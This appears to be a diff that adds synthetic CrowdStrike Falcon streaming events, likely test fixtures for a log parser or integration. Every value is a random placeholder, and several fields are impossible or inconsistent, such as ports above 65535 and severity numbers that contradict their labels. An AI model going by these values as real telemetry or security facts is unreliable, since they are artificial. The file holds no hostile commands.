+{"metadata": {"customerIDString": "everyonemother","offset": 165528476,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "anyonefield","UserIp": "247.105.81.226","OperationName": "requestResetPassword","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Pacificmustering","ValueString": "ourunion"}],"Attributes": {"actor_cid": "ourbasket","actor_user": "thisfilm","actor_user_uuid": "whatmuster","app_id": "uglyflock","saml_assertion": "yourparty","target_user": "Colombiancompany","trace_id": "itteam"}}}
+{"metadata": {"customerIDString": "Iranianproblem","offset": 1095486537,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "gleamingsand","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\oddfan","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Network","Description": "part caravan army tolerance pack company ability sedge old age severalcalm","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/abundantgroup?_cid=xxxxxxx","FileName": "whoseperson","FilePath": "Freudianluxuty\\whoseperson","FilesAccessed": [{"FileName": "whoseperson","FilePath": "Freudianluxuty\\whoseperson","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "whoseperson","FilePath": "Freudianluxuty\\whoseperson","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\therepleasure","GrandParentImageFileName": "itshost","GrandParentImageFilePath": "Lincolnianweek\\itshost","HostGroups": "frailfiction","Hostname": "fewbus","LocalIP": "172.147.46.0","LocalIPv6": "208.212.56.34","LogonDomain": "mostwisp","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "Swissgirl","Name": "everybodyboard","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1592208001,"ConnectionDirection": 1,"IsIPV6": false,"LocalAddress": "251.127.72.126","LocalPort": 58478,"Protocol": "somebodytribe","RemoteAddress": "5.196.7.95","RemotePort": 82239}],"Objective": "Monacanlibrary","ParentCommandLine": "C:\\Windows\\hugegirl\\allbasket","ParentImageFileName": "allbasket","ParentImageFilePath": "itchyrice\\allbasket","ParentProcessId": 722547488,"PatternDispositionDescription": "aircraft deceit fact calm buckles leap goodness furniture caravan ring comb uncle bread ambulance poverty reel band troop magic Polishmobile","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": false,"KillActionFailed": true,"KillParent": false,"KillProcess": true,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": false},"PatternDispositionValue": -589606010,"PatternId": -722944973,"PlatformId": "severalpoint","PlatformName": "Linux","ProcessEndTime": 497769204,"ProcessId": -1552453208,"ProcessStartTime": 7696833,"ReferrerUrl": "thispower","SHA1String": "Turkishishworld","SHA256String": "whyproblem","Severity": 23,"SeverityName": "Low","SourceProducts": "lighthomework","SourceVendors": "colorfulharm","Tactic": "Einsteiniandog","Technique": "itscaravan","Type": "ldt","UserName": "thiscrowd"}}
+{"metadata": {"customerIDString": "thisimagination","offset": 1205396908,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "mysheaf","PolicyId": 1552025764,"PolicyStatement": "muchpack","CloudProvider": "nonecloud","CloudService": "Sammarineseinnocence","Severity": 45,"SeverityName": "Critical","EventAction": "someonepair","EventSource": "howstress","EventCreatedTimestamp": 1663011160,"UserId": "thislife","UserName": "strangeforest","UserSourceIp": "51.238.47.148","Tactic": "over therebermudas","Technique": "hundredbrilliance"}}
+{"metadata": {"customerIDString": "everybodymotivation","offset": -1552411789,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -755853846,"ProcessEndTime": -626017870,"ProcessId": 171306624,"ParentProcessId": -1605361574,"ComputerName": "insufficientassistance","UserName": "mostleap","DetectName": "hisgoal","DetectDescription": "line mob student pigeon host train station church Viennesebrother","Severity": 3,"SeverityName": "Medium","FileName": "heavilyoutfit","FilePath": "Victoriancrowd\\heavilyoutfit","CommandLine": "C:\\Windows\\sparsestand","SHA256String": "manyheels","MD5String": "frailfuel","SHA1String": "severalfurniture","MachineDomain": "thisbale","NetworkAccesses": [{"AccessType": 1905863405,"AccessTimestamp": 1751371565,"Protocol": "so fewpack","LocalAddress": "252.187.76.200","LocalPort": 54719,"RemoteAddress": "105.117.210.70","RemotePort": 15495,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Honduranway?_cid=xxxxxxx","SensorId": "significantdivorce","IOCType": "hash_sha256","IOCValue": "thereliter","DetectId": "enoughschool","LocalIP": "12.122.235.99","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "whichwalk","Technique": "ourfact","Objective": "modernalbum","PatternDispositionDescription": "scissors anthology generosity tribe hospitality crew garlic yoga case money day fun ship weight book wisp problem pair solitude electricity point collection anyalbum","PatternDispositionValue": 519124999,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": false,"SensorOnly": false,"Rooting": true,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": true,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "itstunnel","ParentCommandLine": "thosethought","GrandparentImageFileName": "Germanheat","GrandparentCommandLine": "whichparty","HostGroups": "whypoint","AssociatedFile": "hiscollection","PatternId": -515938901}}
+{"metadata": {"customerIDString": "whoseweek","offset": 424382754,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "everyonespeed","HostnameField": "South Americanboard","UserName": "Dutchfrailty","StartTimestamp": 1582830734,"AgentIdString": "iteye"}}
+{"metadata": {"customerIDString": "quaintchoir","offset": -1820628241,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "howhail","CustomerId": "happystand","Ipv": "254.224.46.224","CommandLine": "puzzledpatrol","ConnectionDirection": "1","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": true,"Monitor": false},"HostName": "Atlanticforest","ICMPCode": "so fewmurder","ICMPType": "hereday","ImageFileName": "clumsyverb","LocalAddress": "165.34.247.0","LocalPort": "84018","MatchCount": -1132244125,"MatchCountSinceLastReport": 154807215,"NetworkProfile": "Uzbekcatalog","PID": "-1139455255","PolicyName": "Intelligentday","PolicyID": "couplegrowth","Protocol": "Barceloniantrain","RemoteAddress": "49.11.66.131","RemotePort": "41076","RuleAction": "hundredstrip","RuleDescription": "scold hedge team horror album week hat generation exaltation person class number sofa posse damage work staff hour herregiment","RuleFamilyID": "alltent","RuleGroupName": "anyoneflock","RuleName": "herrespect","RuleId": "agreeablehospitality","Status": "Turkishishregiment","Timestamp": 1751371830,"TreeID": "fewband"}}
+{"metadata": {"customerIDString": "terriblecaravan","offset": -1505513889,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "proudanger","DetectName": "Cormoranyouth","DetectDescription": "remote troop genetics exaltation leap patrol shower pig cashier party dishonesty answer horde flock wisp snow pod life dynasty tent therething","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thispleasure?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 30,"SeverityName": "Informational","Tactic": "thosedynasty","Technique": "muddyfox","Objective": "ourfrock","SourceAccountDomain": "brighttribe","SourceAccountName": "magnificentchapter","SourceAccountObjectSid": "glamorousgun","SourceEndpointAccountObjectGuid": "Vietnamesesnow","SourceEndpointAccountObjectSid": "ourpower","SourceEndpointHostName": "thosetribe","SourceEndpointIpAddress": "246.74.61.78","SourceEndpointSensorId": "howestate","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "enoughlibrary","PatternId": 2080395392}}
+{"metadata": {"customerIDString": "thisbridge","offset": 1773201448,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -654603925,"ProcessEndTime": 806141523,"ProcessId": 90753918,"ParentProcessId": -208198328,"ComputerName": "anyonetime","UserName": "enchantedarchipelago","DetectName": "theirworld","DetectDescription": "troop body loneliness ocean Elizabethanchoir","Severity": 2,"SeverityName": "Critical","FileName": "whyhost","FilePath": "Greekway\\whyhost","CommandLine": "C:\\Windows\\numerouschild","SHA256String": "Turkishcrew","MD5String": "anyonegovernment","SHA1String": "everybodyhorror","MachineDomain": "helpfultribe","NetworkAccesses": [{"AccessType": 1351333491,"AccessTimestamp": 1751371565,"Protocol": "hugestack","LocalAddress": "37.78.174.100","LocalPort": 35323,"RemoteAddress": "44.39.157.244","RemotePort": 67092,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hisapp?_cid=xxxxxxx","SensorId": "somebodystring","IOCType": "hash_md5","IOCValue": "whybunch","DetectId": "younganthology","LocalIP": "51.165.98.148","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "over therecovey","Technique": "fewchest","Objective": "somelist","PatternDispositionDescription": "happiness cashier group mercy slavery child line litter engine outfit flock fact stack article cluster scold koala theirplant","PatternDispositionValue": -1012384039,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": false,"SensorOnly": false,"Rooting": false,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "herteam","ParentCommandLine": "somemanagement","GrandparentImageFileName": "theirpart","GrandparentCommandLine": "enough ofbale","HostGroups": "Antarcticresearch","AssociatedFile": "Costa Ricanpleasure","PatternId": -551524066}}
+{"metadata": {"customerIDString": "allbasket","offset": -450081615,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "severalday","IncidentDescription": "mob bale way ball evidence number turkey fact orchard wad hand work company hand choir board clarity chicken trust dynasty scold day ourgirl","Severity": 73,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Guyaneseman","UserName": "fullcrime","EndpointName": "sparsesnow","EndpointIp": "103.97.45.179","Category": "Incidents","NumbersOfAlerts": -1125518693,"NumberOfCompromisedEntities": 257866486,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thatchoir?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "nonelips","offset": 2031442298,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "doublemilk","PolicyId": -801807829,"PolicyStatement": "herwindow","CloudProvider": "sometour","CloudService": "somebodywoman","Severity": 65,"SeverityName": "Medium","EventAction": "Alaskanfriendship","EventSource": "allyear","EventCreatedTimestamp": 1663011160,"UserId": "itwound","UserName": "theseforest","UserSourceIp": "229.204.115.90","Tactic": "allbulb","Technique": "thosebutter"}}
+{"metadata": {"customerIDString": "Slovakpopcorn","offset": 2008556161,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Guyanesefood","UserIp": "193.5.12.148","OperationName": "revokeUserRoles","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "Spanishchaos","ValueString": "whichperson"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "obedienthand"}}}
+{"metadata": {"customerIDString": "heavyreligion","offset": -767789731,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "frailstand","DetectName": "herbody","DetectDescription": "troop year pack part bottle disturbedclass","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/somebodyday?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 50,"SeverityName": "High","Tactic": "nobodysleep","Technique": "nobodycrowd","Objective": "yourpod","SourceAccountDomain": "itbear","SourceAccountName": "howobesity","SourceAccountObjectSid": "openpod","SourceEndpointAccountObjectGuid": "oneentertainment","SourceEndpointAccountObjectSid": "whypoverty","SourceEndpointHostName": "Portuguesequiver","SourceEndpointIpAddress": "207.20.215.32","SourceEndpointSensorId": "theseclass","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "mylove","PatternId": 305454461}}
+{"metadata": {"customerIDString": "Rooseveltianentertainment","offset": 1973970316,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -2144511772,"ProcessEndTime": -1487880295,"ProcessId": -1646375989,"ParentProcessId": 481588581,"ComputerName": "Jungiancard","UserName": "howorchard","DetectName": "itsoap","DetectDescription": "clock irritation covey artist brilliance care flower posse mob toothpaste host thing obesity everythingcloud","Severity": 5,"SeverityName": "Informational","FileName": "anyoneadvantage","FilePath": "tensefrailty\\anyoneadvantage","CommandLine": "C:\\Windows\\hundredsgeneration","SHA256String": "illgenetics","MD5String": "severalfoot","SHA1String": "Einsteiniangrandfather","MachineDomain": "eitherjoy","NetworkAccesses": [{"AccessType": 2089089608,"AccessTimestamp": 1751371565,"Protocol": "nonecatalog","LocalAddress": "162.252.153.169","LocalPort": 78477,"RemoteAddress": "61.250.227.115","RemotePort": 54375,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/shinystand?_cid=xxxxxxx","SensorId": "thosearmy","IOCType": "hash_md5","IOCValue": "whypencil","DetectId": "itmurder","LocalIP": "12.43.172.16","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "Alpinepain","Technique": "hugepart","Objective": "whosepermission","PatternDispositionDescription": "set crowd coffee party Romanpair","PatternDispositionValue": -370145664,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": true,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "whatcase","ParentCommandLine": "thatcase","GrandparentImageFileName": "Muscovitepound","GrandparentCommandLine": "hisbale","HostGroups": "yourweather","AssociatedFile": "sometroop","PatternId": -229596095}}
+{"metadata": {"customerIDString": "Intelligenthorror","offset": 1871139807,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "gracefulgroup","UserIp": "117.153.142.95","OperationName": "revokeUserRoles","ServiceName": "detections","AuditKeyValues": [{"Key": "howband","ValueString": "hertroop"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "stormygoal"}}}
+{"metadata": {"customerIDString": "Thaiclarity","offset": 1143437964,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "significantwood","IncidentDescription": "Ecuadorianbridge","Severity": 99,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "thisclarity","UserName": "nonewood","EndpointName": "heavilyfashion","EndpointIp": "106.221.161.64","Category": "Incidents","NumbersOfAlerts": 1797537844,"NumberOfCompromisedEntities": 52172658,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/allplant?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "severalwater melon","offset": 589671984,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whatbrother","PolicyId": 485901958,"PolicyStatement": "thoseluxuty","CloudProvider": "Polynesiansister","CloudService": "eachstaff","Severity": 62,"SeverityName": "Informational","EventAction": "whybundle","EventSource": "doubleboard","EventCreatedTimestamp": 1663011160,"UserId": "couplehost","UserName": "severalgauva","UserSourceIp": "82.149.128.222","Tactic": "eachwork","Technique": "noneplace"}}
+{"metadata": {"customerIDString": "whosehappiness","offset": 819306999,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "whichgarden","MobileDetectionId": -556086742,"ComputerName": "Himalayanmagic","UserName": "annoyingteam","ContextTimeStamp": 1649061056,"DetectId": "itsear","DetectName": "itsunshine","DetectDescription": "disregard patrol safety muster childhood group country scold brass housework person key packet itchygroup","Tactic": "whatstreet","TacticId": "sparsefarm","Technique": "Hinducase","TechniqueId": "someoneriches","Objective": "itsedge","Severity": 82,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anylife?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "Lilliputianream","AndroidAppLabel": "theirbill","DexFileHashes": "longsmile","ImageFileName": "whycackle","AppInstallerInformation": "yourparty","IsBeingDebugged": false,"AndroidAppVersionName": "hungryluck","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "therefilm","offset": 2055136783,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "anythingream","UserIp": "104.7.82.31","OperationName": "revokeUserRoles","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "richsleep","ValueString": "everyonecovey"}],"Attributes": {"actor_cid": "itsgoat","actor_user": "thatkilometer","actor_user_uuid": "hertowel","app_id": "ashamedman","saml_assertion": "whygoal","target_user": "wherechild","trace_id": "thesegeneration"}}}
+{"metadata": {"customerIDString": "Thaiquiver","offset": -847821443,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "anyonechaos","IncidentDescription": "bowl body orange life hedge team horde field host tribe man peace fleet content congregation howstand","Severity": 76,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "itmuster","UserName": "whatback","EndpointName": "herlamb","EndpointIp": "191.184.250.52","Category": "Incidents","NumbersOfAlerts": -1357136370,"NumberOfCompromisedEntities": -80994199,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/halfenthusiasm?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "oddinnocence","offset": 1969968356,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "enthusiasticostrich","Region": "us-west-2","ResourceId": "over theretroop","ResourceIdType": "manyfreezer","ResourceName": "couplenest","ResourceCreateTime": 0,"PolicyStatement": "whoseriver","PolicyId": 254177986,"Severity": 61,"SeverityName": "Informational","CloudPlatform": "whereharvest","CloudService": "manyunderwear","Disposition": "Failed","ResourceUrl": "successfuledge","Finding": "itwater","Tags": [{"Key": "itscackle","ValueString": "heavilyalbum"}],"ReportUrl": "frighteningday","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "anyclarity","offset": 1542644173,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "lonelycackle","UserIp": "231.215.192.184","OperationName": "requestResetPassword","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "ourapartment","ValueString": "thatgovernment"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "lonelyshower"}}}
+{"metadata": {"customerIDString": "fullharvest","offset": -1992332871,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "Peruvianharvest","UserID": "everybodylove","ExecutionID": "thosetroupe","ReportID": "someonesmoke","ReportName": "relievedalbum","ReportType": "everycrime","ReportFileReference": "theirscale","Status": "orangecorruption","StatusMessage": "somewisp","ExecutionMetadata": {"ExecutionStart": -1612417320,"ExecutionDuration": 1964116284,"ReportFileName": "everyonedetermination","ResultCount": 1825181464,"ResultID": "gorgeoushospital","SearchWindowStart": -1637571655,"SearchWindowEnd": 2020347431}}}
+{"metadata": {"customerIDString": "itsgroup","offset": -775610352,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "whichhatred","DetectName": "hundredsmirror","DetectDescription": "valley body horror thing host town ream wisp packet housework itscrew","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whichhorde?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 69,"SeverityName": "Medium","Tactic": "severalcash","Technique": "whatgroup","Objective": "Einsteiniancamp","SourceAccountDomain": "Uzbekexaltation","SourceAccountName": "allhost","SourceAccountObjectSid": "moststring","SourceEndpointAccountObjectGuid": "thatnest","SourceEndpointAccountObjectSid": "hereline","SourceEndpointHostName": "thisfame","SourceEndpointIpAddress": "30.172.35.246","SourceEndpointSensorId": "singlechild","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "lonelyprogress","PatternId": -1953673804}}
+{"metadata": {"customerIDString": "lovelyarmy","offset": -574161724,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "numerousblock","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\Putinistcravat","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Web","Description": "album Alaskanfear","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/iteye?_cid=xxxxxxx","FileName": "whatliterature","FilePath": "brightchild\\whatliterature","FilesAccessed": [{"FileName": "whatliterature","FilePath": "brightchild\\whatliterature","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "whatliterature","FilePath": "brightchild\\whatliterature","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\over thereeye","GrandParentImageFileName": "myalligator","GrandParentImageFilePath": "thosesheaf\\myalligator","HostGroups": "motionlesscatalog","Hostname": "awfulhammer","LocalIP": "187.226.154.173","LocalIPv6": "239.12.226.54","LogonDomain": "whosebook","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "everyonecongregation","Name": "Sudanesehost","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1291417288,"ConnectionDirection": 1,"IsIPV6": true,"LocalAddress": "132.51.80.34","LocalPort": 4492,"Protocol": "theirschool","RemoteAddress": "75.28.97.204","RemotePort": 69362}],"Objective": "outstandingpack","ParentCommandLine": "C:\\Windows\\Dutchwork\\lots ofharvest","ParentImageFileName": "lots ofharvest","ParentImageFilePath": "theirfather\\lots ofharvest","ParentProcessId": 611469371,"PatternDispositionDescription": "troupe heels world dog hand fiction year team work milk tree week troupe horde pod cluster cheese solitude journey Somalitrip","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": true,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": true,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": -527035831,"PatternId": 1573621037,"PlatformId": "dizzyingblack","PlatformName": "Windows","ProcessEndTime": 1750061039,"ProcessId": 546411519,"ProcessStartTime": 583658379,"ReferrerUrl": "grumpygroup","SHA1String": "thosehouse","SHA256String": "Intelligentproblem","Severity": 48,"SeverityName": "High","SourceProducts": "howharm","SourceVendors": "Afghancovey","Tactic": "ourset","Technique": "South Americanintelligence","Type": "ofp","UserName": "everybodywindow"}}
+{"metadata": {"customerIDString": "thosestress","offset": 1574386475,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "thatsinger","CustomerId": "lightwork","Ipv": "25.148.27.85","CommandLine": "couplesedge","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": true,"Monitor": false},"HostName": "ourtribe","ICMPCode": "itphysician","ICMPType": "hisunion","ImageFileName": "thoseparty","LocalAddress": "194.17.104.9","LocalPort": "80040","MatchCount": 1748116640,"MatchCountSinceLastReport": -121494764,"NetworkProfile": "anythingexaltation","PID": "-1538695975","PolicyName": "Somalimob","PolicyID": "somebrass","Protocol": "Orwellianshower","RemoteAddress": "117.125.216.245","RemotePort": "37707","RuleAction": "severaltribe","RuleDescription": "sedge forest batch body week bale quiver thrill troop yourwoman","RuleFamilyID": "whosebundle","RuleGroupName": "Himalayanomen","RuleName": "thatream","RuleId": "theirtissue","Status": "whatday","Timestamp": 1751371830,"TreeID": "Congoleseold age"}}
+{"metadata": {"customerIDString": "thatway","offset": -1442844535,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "whatband","UserIp": "182.7.86.28","OperationName": "activateUser","ServiceName": "detections","AuditKeyValues": [{"Key": "mostline","ValueString": "Barcelonianbatch"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "Sudaneseowl"}}}
+{"metadata": {"customerIDString": "fewpart","offset": -1669561139,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "thisfarm","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\yourbale","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "trade catalog bundle money phone problem dynasty school muster excitingbrass","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whichluxuty?_cid=xxxxxxx","FileName": "Elizabethanclass","FilePath": "helplesschoir\\Elizabethanclass","FilesAccessed": [{"FileName": "Elizabethanclass","FilePath": "helplesschoir\\Elizabethanclass","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "Elizabethanclass","FilePath": "helplesschoir\\Elizabethanclass","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\thosecast","GrandParentImageFileName": "over therenutrition","GrandParentImageFilePath": "blushingnumber\\over therenutrition","HostGroups": "heranthology","Hostname": "substantialhand","LocalIP": "196.29.220.96","LocalIPv6": "134.230.245.53","LogonDomain": "whatrange","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "whatman","Name": "uptightgossip","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 56811732,"ConnectionDirection": 2,"IsIPV6": true,"LocalAddress": "106.152.237.108","LocalPort": 29498,"Protocol": "a littlemurder","RemoteAddress": "177.32.57.38","RemotePort": 15924}],"Objective": "theirtrip","ParentCommandLine": "C:\\Windows\\eachjudge\\noneapple","ParentImageFileName": "noneapple","ParentImageFilePath": "theirguilt\\noneapple","ParentProcessId": 2101150528,"PatternDispositionDescription": "bale app crowd number transportation Gaussianirritation","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": true,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"InddetMask": true,"Indicator": true,"KillActionFailed": false,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": false,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": 1347352988,"PatternId": -481825112,"PlatformId": "manypunctuation","PlatformName": "Linux","ProcessEndTime": 1004644986,"ProcessId": 312838698,"ProcessStartTime": 1716459440,"ReferrerUrl": "manybravery","SHA1String": "Caesarianschool","SHA256String": "someengine","Severity": 29,"SeverityName": "High","SourceProducts": "ourflag","SourceVendors": "Belgianposse","Tactic": "therebravery","Technique": "wherehost","Type": "ofp","UserName": "whereproduction"}}
